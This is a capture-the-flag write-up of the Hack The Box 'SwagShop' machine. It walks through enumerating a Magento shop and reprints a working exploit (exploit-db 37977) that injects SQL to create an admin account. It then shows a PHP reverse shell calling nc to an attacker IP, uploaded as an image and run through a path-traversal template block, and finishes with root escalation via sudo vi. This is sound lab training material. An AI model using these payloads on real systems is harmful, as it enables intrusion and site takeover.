Enumeration
As usual, we start with an nmap scan, in order to find open ports in the target machine.
The following nmap command will scan the target machine looking for open ports in a fast way and saving the output into a file:
nmap -sS --min-rate 5000 -p- -T5 -Pn -n 10.10.10.140 -oN allPorts
-sS
use the TCP SYN scan option. This scan option is relatively unobtrusive and stealthy, since it never completes TCP connections.--min-rate 5000
nmap will try to keep the sending rate at or above 5000 packets per second.-p-
scanning the entire port range, from 1 to 65535.-T5
insane mode, it is the fastest mode of the nmap time template.-Pn
assume the host is online.-n
scan without reverse DNS resolution.-oN
save the scan result into a file, in this case the allports file.

# Nmap done at Mon Mar 14 20:41:28 2022 -- 1 IP address (1 host up) scanned in 16.66 seconds
As we see, port 22 (SSH) and port 80 (HTTP) are open. Let's try to obtain more information about the services and versions running on those ports.
nmap -sC -sV -p22,80 10.10.10.140 -oN targeted
-sC
performs the scan using the default set of scripts.-sV
enables version detection.-oN
save the scan result into file, in this case the targeted file.

Nmap done: 1 IP address (1 host up) scanned in 9.50 seconds
We see in the nmap scan, that the HTTP server redirects to http://swagshop.htb
. Let's add the domain to the /etc/hosts
file.
nano /etc/hosts
127.0.0.1 localhost
127.0.1.1 alfa8sa
# The following lines are desirable for IPv6 capable hosts
::1 localhost ip6-localhost ip6-loopback
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters
10.10.10.140 swagshop.htb
Now we can take a look at the website.

It is an online shop. If we take a look at the Wappalyzer extension, we'll see that it is a Magento CMS.

Let's enumerate directories with gobuster. Note that the URL is http://swagshop.htb/index.php/
.
gobuster dir -u http://swagshop.htb/index.php/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 200
dir
enumerates directories or files.-u
the target URL.-w
path to the wordlist.-t
number of current threads, in this case 200 threads.

Shellcodes: No Results
Now, let's copy the Remote Code Execution
one to the current directory.
searchsploit -m xml/webapps/37977.py
Exploit: Magento eCommerce - Remote Code Execution
URL: https://www.exploit-db.com/exploits/37977
Path: /usr/share/exploitdb/exploits/xml/webapps/37977.py
File Type: ASCII text
Copied to: /home/alfa8sa/HTB/machines/swagshop/37977.py
Before executing it, we'll have to modify it.
nano 37977.py
We'll have to delete everything before the first import
, and everything after the last print
statement. And then, we'll have to change the domain name to swagshop.htb
, and add the /index.php
directory to the target
variable.
import requests
import base64
import sys
target = "http://swagshop.htb/index.php"
if not target.startswith("http"):
target = "http://" + target
if target.endswith("/"):
target = target[:-1]
target_url = target + "/admin/Cms_Wysiwyg/directive/index/"
q="""
SET @SALT = 'rp';
SET @PASS = CONCAT(MD5(CONCAT( @SALT , '{password}') ), CONCAT(':', @SALT ));
SELECT @EXTRA := MAX(extra) FROM admin_user WHERE extra IS NOT NULL;
INSERT INTO `admin_user` (`firstname`, `lastname`,`email`,`username`,`password`,`created`,`lognum`,`reload_acl_flag`,`is_active`,`extra`,`rp_token`,`rp_token_created_at`) VALUES ('Firstname','Lastname','email@example.com','{username}',@PASS,NOW(),0,0,1,@EXTRA,NULL, NOW());
INSERT INTO `admin_role` (parent_id,tree_level,sort_order,role_type,user_id,role_name) VALUES (1,2,0,'U',(SELECT user_id FROM admin_user WHERE username = '{username}'),'Firstname');
"""
query = q.replace("\n", "").format(username="forme", password="forme")
pfilter = "popularity[from]=0&popularity[to]=3&popularity[field_expr]=0);{0}".format(query)
# e3tibG9jayB0eXBlPUFkbWluaHRtbC9yZXBvcnRfc2VhcmNoX2dyaWQgb3V0cHV0PWdldENzdkZpbGV9fQ decoded is{{block type=Adminhtml/report_search_grid output=getCsvFile}}
r = requests.post(target_url,
data={"___directive": "e3tibG9jayB0eXBlPUFkbWluaHRtbC9yZXBvcnRfc2VhcmNoX2dyaWQgb3V0cHV0PWdldENzdkZpbGV9fQ",
"filter": base64.b64encode(pfilter),
"forwarded": 1})
if r.ok:
print "WORKED"
print "Check {0}/admin with creds forme:forme".format(target)
else:
print "DID NOT WORK"pytt
Now we can run the script. We'll have to run it with Python2.
python2 37977.py
WORKED
Check http://swagshop.htb/index.php/admin with creds forme:forme
Now we can go to http://swagshop.htb/index.php/admin
and log in with the forme:forme
credentials.

Then, we'll see the Dashboard page.

Time to get a shell. First, let's create a PHP file which will send us a reverse shell. We'll have to name it revshell.php.png
, because we'll be uploading it later to the website as an image.
<?php
system("rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.13 4444 >/tmp/f")
?>
Now, we'll have to go to the Configuration
page.

Go to the Developer
section, at the bottom of the page.

And go to the Template Settings
, and set the Allow Symlinks
to Yes
. Then click on Save Config
.

Now, let's go to the Manage Categories
section.

Then, fill the name field with some random text, and upload the PHP file to the Thumbnail Image
field and the Image
field. And hit the Save Category
button.

Then, go to the Newsletter Templates
section, and hit the Add New Template
button.

Here, we'll have to put a random template name and subject. Then, add the following to the text field, and hit the Save Template
button.
{{block type="core/template" template="../../../../../../media/catalog/category/revshell.php.png"}}

Now, we'll have to set a netcat listener on port 4444.
nc -lvnp 4444
-l
listen mode.-v
verbose mode.-n
numeric-only IP, no DNS resolution.-p
specify the port to listen on.
Then, press on the template we have created.

And finally, if we hit the Preview Template
button, we should get the reverse shell as the www-data
user, on the netcat listener. Then, we could grab the user flag.

listening on [any] 4444 ...
connect to [10.10.14.19] from (UNKNOWN) [10.10.10.140] 60506
/bin/sh: 0: can't access tty; job control turned off
$ whoami
www-data
$ cat /home/haris/user.txt
a448877277e82f05e5ddf9f90aefbac8
Privilege Escalation
First of all, let's set an interactive TTY shell.
script /dev/null -c /bin/bash
Then I press Ctrl+Z
and execute the following command on my local machine:
stty raw -echo; fg
Back on the victim machine, I export a few variables:
export TERM=xterm
export SHELL=bash
Finally, I run the following command in our local machine:
stty size
51 236
And set the proper dimensions in the victim machine:
stty rows 51 columns 236
Let's list the sudo privileges of the www-data
user.
sudo -l
-l
list user privileges.
Matching Defaults entries for www-data on swagshop:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User www-data may run the following commands on swagshop:
(root) NOPASSWD: /usr/bin/vi /var/www/html/*
So the www-data
user can run /usr/bin/vi
on any file inside the /var/www/html
directory.
If we search for vi in the GTFOBins list, we can see that we can spawn a shell as root with the sudo privilege running the following command:
sudo /usr/bin/vi /var/www/html/test -c ':!/bin/bash'
And indeed, we get a shell as the root
user. All we have to do now is reap the harvest and grab the root flag.
root@swagshop:/var/www/html# whoami
root
root@swagshop:/var/www/html# cat /root/root.txt
